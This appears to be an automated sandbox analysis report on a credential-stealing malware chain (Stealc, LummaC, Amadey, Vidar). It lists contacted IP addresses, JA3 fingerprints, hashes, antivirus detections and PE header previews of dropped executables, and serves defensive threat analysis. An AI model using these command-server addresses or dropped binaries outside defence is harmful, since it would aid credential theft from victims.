	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	HLZwUhcJ28.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.97.3
	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FVJELX1J0WZE21U53029YWO.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\I2N109OTNRC1U5QURKF07D4TDEJX.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Z3WVQPAQZN7WXE31OIKO79M3XY.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2086912
Entropy (8bit):	7.960036914889953
Encrypted:	false
SSDEEP:	24576:Jg50KtZkZ+b7bOanS6j5neyXZEjPJTtnt/I9Hf3C9MxgYIuwtQNKXVkyaoq2QDtr:ExnnnSFteHf39SlkyqZeqGwTorQbT5
MD5:	099D997BEF4D9CC5BDD88ED65AF37B16
SHA1:	427503C7F125818C1952BF31D22E524680D1AD01
SHA-256:	60F9C6EE13675D80CA2E15E0E785961BBE523E9DCE5F8DE7D4263C3CC3AA502A
SHA-512:	15E17998219D91FDED14C988865CC90AD8D52EEAD95445A5AC19687D878B09837CE98C6F72535D777168746E206CA31B3EED13038FF6D0C2F9E2399B1D021B25
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......p...........@...........................q......Y ...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..(.........................@...wcxkxkso.0....W..&..................@...cmdlgkqi......p.....................@....taggant.0....p.."..................@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hostname[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	427008
Entropy (8bit):	5.832828456379374
Encrypted:	false
SSDEEP:	6144:GhOq5MCoIwRcV8l6mxhRI9mLac7DSTjlzwDOF0xcm5DOZLNcly:GhOgMCoJc+6mHRI9UOq31
MD5:	EFA0B9C13BDE82281933A7A8C82D7C44
SHA1:	68C7E20B1C8F448A6A0C14627C657473738AD66D
SHA-256:	699D8D2F961CE58115AD43B6D23F10C16116D3C393968E540820BA84B8C02A46
SHA-512:	B25F5541963287BCDA2A10FB41262FC21A5D1BB3489FBFE071390148888BE6FD3D7307B4966A2FAF6C87E849179C26734874A0D2C32B33684D023E30A6F85110
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....."g................................. ........@.. ....................................`.................................@...K.......T............................................................................ ............... ..H............text........ ...................... ..`.rsrc...T...........................@..@.reloc..............................@..B................p.......H.......8...8...........p...c...............................................(.......(.....0.......... ........8........E....6...........81...~....%9....86...& ....~]...{r...9....& ....8....~..........s....%.....s....(.... ....~]...{....:....& ....8z...&~..........~......s...........(.....0.......... ........8........E........K...\|..............."...............:...G...............q...H.......j...n...8....8`... ........8....... ....~]...{....:\|...& ....8q...... ....8d.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2934272
Entropy (8bit):	6.598143012365193
Encrypted:	false
SSDEEP:	24576:7qAqrJgBTjYY1Pv4b9by97kRw0PdY5vk8MGkFatdjsh8rH3kBK4QfxPGcS3XPdGL:miTPJ4xa7kOzOdELRBBSgp0iF8slPw
MD5:	BCE38B95D18FB00988F62A035BFE7634
SHA1:	36F675CFEB3F2684D1B535F23C56C4CA014499BE
SHA-256:	BD3F1E8397988F5C5D331C3CFEDA9BE7CD2CEC92AC771697E1F4572B27476B6A
SHA-512:	400A3B0EEB927CD0CF0A36DB9ED934BD9433583B12DC1562CD3BB221C005F90325DF8D7DAC3D24E0D2DE2C433EEEA7AA7F4A81014F5FD68D3671CB7A64E47178
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@...........................0.....22-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...gaowmbut..........................@...bznrpeau....../.......,.............@....taggant.0..../.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584680758480819
Encrypted:	false
SSDEEP:	12288:2qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TI:2qDEvCTbMWu7rQYlBQcBiT6rprG8abI
MD5:	493ACA6BC14CAF688147C5ABC24D08AD
SHA1:	8135281DF8BA02219B279D469D2500A547B9B3A1
SHA-256:	0BBA199EB2227945BB02C3285824DD45195EE745D8931921B0ADB28DC32DFDC9
SHA-512:	7E6AAB56B98827F759605CE8ABD407F7155FF03353B2BA479A16B1395CB111529ACF1BF16FF726EFE22196E35B33B9318BFB8DB5C3FD0CCDF438B177DABE8CBD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...}."g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002744001\hostname.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	427008
Entropy (8bit):	5.832828456379374
Encrypted:	false
SSDEEP:	6144:GhOq5MCoIwRcV8l6mxhRI9mLac7DSTjlzwDOF0xcm5DOZLNcly:GhOgMCoJc+6mHRI9UOq31
MD5:	EFA0B9C13BDE82281933A7A8C82D7C44
SHA1:	68C7E20B1C8F448A6A0C14627C657473738AD66D
SHA-256:	699D8D2F961CE58115AD43B6D23F10C16116D3C393968E540820BA84B8C02A46
SHA-512:	B25F5541963287BCDA2A10FB41262FC21A5D1BB3489FBFE071390148888BE6FD3D7307B4966A2FAF6C87E849179C26734874A0D2C32B33684D023E30A6F85110
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....."g................................. ........@.. ....................................`.................................@...K.......T............................................................................ ............... ..H............text........ ...................... ..`.rsrc...T...........................@..@.reloc..............................@..B................p.......H.......8...8...........p...c...............................................(.......(.....0.......... ........8........E....6...........81...~....%9....86...& ....~]...{r...9....& ....8....~..........s....%.....s....(.... ....~]...{....:....& ....8z...&~..........~......s...........(.....0.......... ........8........E........K...\|..............."...............:...G...............q...H.......j...n...8....8`... ........8....... ....~]...{....:\|...& ....8q...... ....8d.

C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2934272
Entropy (8bit):	6.598143012365193
Encrypted:	false
SSDEEP:	24576:7qAqrJgBTjYY1Pv4b9by97kRw0PdY5vk8MGkFatdjsh8rH3kBK4QfxPGcS3XPdGL:miTPJ4xa7kOzOdELRBBSgp0iF8slPw
MD5:	BCE38B95D18FB00988F62A035BFE7634
SHA1:	36F675CFEB3F2684D1B535F23C56C4CA014499BE
SHA-256:	BD3F1E8397988F5C5D331C3CFEDA9BE7CD2CEC92AC771697E1F4572B27476B6A
SHA-512:	400A3B0EEB927CD0CF0A36DB9ED934BD9433583B12DC1562CD3BB221C005F90325DF8D7DAC3D24E0D2DE2C433EEEA7AA7F4A81014F5FD68D3671CB7A64E47178
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@...........................0.....22-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...gaowmbut..........................@...bznrpeau....../.......,.............@....taggant.0..../.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2086912
Entropy (8bit):	7.960036914889953
Encrypted:	false
SSDEEP:	24576:Jg50KtZkZ+b7bOanS6j5neyXZEjPJTtnt/I9Hf3C9MxgYIuwtQNKXVkyaoq2QDtr:ExnnnSFteHf39SlkyqZeqGwTorQbT5
MD5:	099D997BEF4D9CC5BDD88ED65AF37B16
SHA1:	427503C7F125818C1952BF31D22E524680D1AD01
SHA-256:	60F9C6EE13675D80CA2E15E0E785961BBE523E9DCE5F8DE7D4263C3CC3AA502A
SHA-512:	15E17998219D91FDED14C988865CC90AD8D52EEAD95445A5AC19687D878B09837CE98C6F72535D777168746E206CA31B3EED13038FF6D0C2F9E2399B1D021B25
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......p...........@...........................q......Y ...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..(.........................@...wcxkxkso.0....W..&..................@...cmdlgkqi......p.....................@....taggant.0....p.."..................@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584680758480819
Encrypted:	false
SSDEEP:	12288:2qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TI:2qDEvCTbMWu7rQYlBQcBiT6rprG8abI
MD5:	493ACA6BC14CAF688147C5ABC24D08AD
SHA1:	8135281DF8BA02219B279D469D2500A547B9B3A1
SHA-256:	0BBA199EB2227945BB02C3285824DD45195EE745D8931921B0ADB28DC32DFDC9
SHA-512:	7E6AAB56B98827F759605CE8ABD407F7155FF03353B2BA479A16B1395CB111529ACF1BF16FF726EFE22196E35B33B9318BFB8DB5C3FD0CCDF438B177DABE8CBD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...}."g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002748001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1926144
Entropy (8bit):	7.951230239008218
Encrypted:	false
SSDEEP:	49152:da23fsc2OPb57b8Tt/kNmZz03WKMLUiIoi04BD6/DmFvL3y0:daCEc2kqBkNm5KxDR6yF
MD5:	16C41103653669CEE6886CFDAE5F778F
SHA1:	703B66F5017A41CD9D9B6F9A333B1D75169699BE
SHA-256:	AEACEB34E974E8AE46E3E947DABFFE2B27D092E00141B730E45E550236A84508
SHA-512:	BF8402CB857CB0E9871FB0234EB35B8A6C1BEF44F4C0A55430640247C8E3CD1B7B9150399528CE2D088CFAD40A8058E93E3761B9CC5171D49605BE307B95CC0C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. L...........@..........................PL......M....@.................................W...k...........................8.L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...tfbezuor.P....1..H..................@...idqqmftg......L......>..............@....taggant.0... L.."...B..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2820096
Entropy (8bit):	6.494511932820225
Encrypted:	false
SSDEEP:	49152:gYthnJUWgSmKR61GJMZdyM8McxHf4WN62n1TdA4yOW7z:gchnJUWgSmKR6oMZdyM/cdgWN6CTdByN
MD5:	15A0A8113FA863F5388159141EBEC606
SHA1:	5F9F0D450FEA24FBA73489936BAD29D0CB56F47B
SHA-256:	DB0D4C7F41F071886032BFB40EECE5F7858ADE7D8EF74B44C0742E65F492B8D1
SHA-512:	6C39A138B222D1766CCFC21860F9228D781C8E8E109A6AB30B9B7B618112E1E95DDD79B3D56E9CE81C38E34B2EBB3734522E7A64ACF7C1C43E9888FB1E018BF0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...pgootnwq...........:..............@...rqqmfceu. ...`+....................@....taggant.@....+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2820096
Entropy (8bit):	6.494511932820225
Encrypted:	false
SSDEEP:	49152:gYthnJUWgSmKR61GJMZdyM8McxHf4WN62n1TdA4yOW7z:gchnJUWgSmKR6oMZdyM/cdgWN6CTdByN
MD5:	15A0A8113FA863F5388159141EBEC606
SHA1:	5F9F0D450FEA24FBA73489936BAD29D0CB56F47B
SHA-256:	DB0D4C7F41F071886032BFB40EECE5F7858ADE7D8EF74B44C0742E65F492B8D1
SHA-512:	6C39A138B222D1766CCFC21860F9228D781C8E8E109A6AB30B9B7B618112E1E95DDD79B3D56E9CE81C38E34B2EBB3734522E7A64ACF7C1C43E9888FB1E018BF0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...pgootnwq...........:..............@...rqqmfceu. ...`+....................@....taggant.@....+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\T9ZRQE6U4JYG25WDD1H6CU.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1926144
Entropy (8bit):	7.951230239008218
Encrypted:	false
SSDEEP:	49152:da23fsc2OPb57b8Tt/kNmZz03WKMLUiIoi04BD6/DmFvL3y0:daCEc2kqBkNm5KxDR6yF
MD5:	16C41103653669CEE6886CFDAE5F778F
SHA1:	703B66F5017A41CD9D9B6F9A333B1D75169699BE
SHA-256:	AEACEB34E974E8AE46E3E947DABFFE2B27D092E00141B730E45E550236A84508
SHA-512:	BF8402CB857CB0E9871FB0234EB35B8A6C1BEF44F4C0A55430640247C8E3CD1B7B9150399528CE2D088CFAD40A8058E93E3761B9CC5171D49605BE307B95CC0C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. L...........@..........................PL......M....@.................................W...k...........................8.L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...tfbezuor.P....1..H..................@...idqqmftg......L......>..............@....taggant.0... L.."...B..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1926144
Entropy (8bit):	7.951230239008218
Encrypted:	false
SSDEEP:	49152:da23fsc2OPb57b8Tt/kNmZz03WKMLUiIoi04BD6/DmFvL3y0:daCEc2kqBkNm5KxDR6yF
MD5:	16C41103653669CEE6886CFDAE5F778F
SHA1:	703B66F5017A41CD9D9B6F9A333B1D75169699BE
SHA-256:	AEACEB34E974E8AE46E3E947DABFFE2B27D092E00141B730E45E550236A84508
SHA-512:	BF8402CB857CB0E9871FB0234EB35B8A6C1BEF44F4C0A55430640247C8E3CD1B7B9150399528CE2D088CFAD40A8058E93E3761B9CC5171D49605BE307B95CC0C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
